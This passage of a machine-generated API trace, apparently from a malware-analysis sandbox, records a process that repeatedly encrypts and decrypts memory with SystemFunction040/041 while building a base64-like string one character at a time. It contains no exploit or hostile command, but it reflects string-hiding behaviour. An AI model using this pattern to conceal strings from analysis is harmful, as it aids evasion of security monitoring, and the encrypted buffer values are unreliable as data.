OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.413] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0136.413] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0136.413] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.413] SysStringLen (param_1="YWM1OTE") returned 0x8 [0136.413] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.414] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0136.414] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0136.414] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.414] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0136.414] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.414] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0136.414] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0136.414] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0136.414] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0136.414] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.414] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0136.414] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.414] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0136.414] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0136.414] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.414] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0136.414] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.414] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0136.414] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0136.415] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.415] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0136.415] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.415] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0136.415] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0136.415] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.415] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0136.415] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.415] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0136.415] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0136.415] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.415] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0136.415] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.415] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0136.415] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0136.415] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.415] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0136.415] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.415] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0136.415] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0136.415] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.415] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0136.416] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.416] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0136.416] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0136.416] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.416] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0136.416] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.416] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0136.416] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0136.416] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0136.416] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0136.416] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.416] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0136.416] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.416] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0136.416] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0136.416] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.416] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0136.416] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.416] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0136.416] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0136.416] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.416] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0136.416] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.417] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0136.417] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0136.417] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.417] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0136.417] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.417] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0136.417] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0136.417] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.417] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0136.417] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.417] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0136.417] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0136.417] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.417] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0136.417] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.417] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0136.417] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0136.417] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.417] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0136.417] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.417] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0136.418] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0136.418] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.418] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0136.418] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.418] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0136.419] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0136.419] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0136.419] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0136.419] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.419] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0136.419] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.419] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0136.419] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0136.419] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.419] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0136.419] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.419] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0136.419] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0136.419] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.419] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0136.419] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.419] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0136.419] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0136.419] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.419] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0136.419] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.420] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0136.420] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0136.420] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.420] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0136.420] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.420] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0136.420] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0136.420] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.420] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0136.420] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.420] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0136.420] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0136.420] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.420] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0136.420] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.420] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0136.420] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0136.420] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.420] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0136.420] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.421] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0136.421] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0136.421] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0136.421] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0136.421] SystemFunction041 (in: Memory=0x8ebff04, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebff04) returned 0x0 [0136.421] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0136.421] SystemFunction040 (in: Memory=0x8ebff04, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebff04) returned 0x0 [0136.421] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0136.421] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0136.421] SystemFunction041 (in: Memory=0x8ebff04, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebff04) returned 0x0 [0136.421] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0136.421] SystemFunction040 (in: Memory=0x8ebff04, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebff04) returned 0x0 [0136.421] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0136.421] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0136.421] SystemFunction041 (in: Memory=0x8ebff04, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebff04) returned 0x0 [0136.421] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0136.421] SystemFunction040 (in: Memory=0x8ebff04, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebff04) returned 0x0 [0136.422] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0136.422] SysStringLen 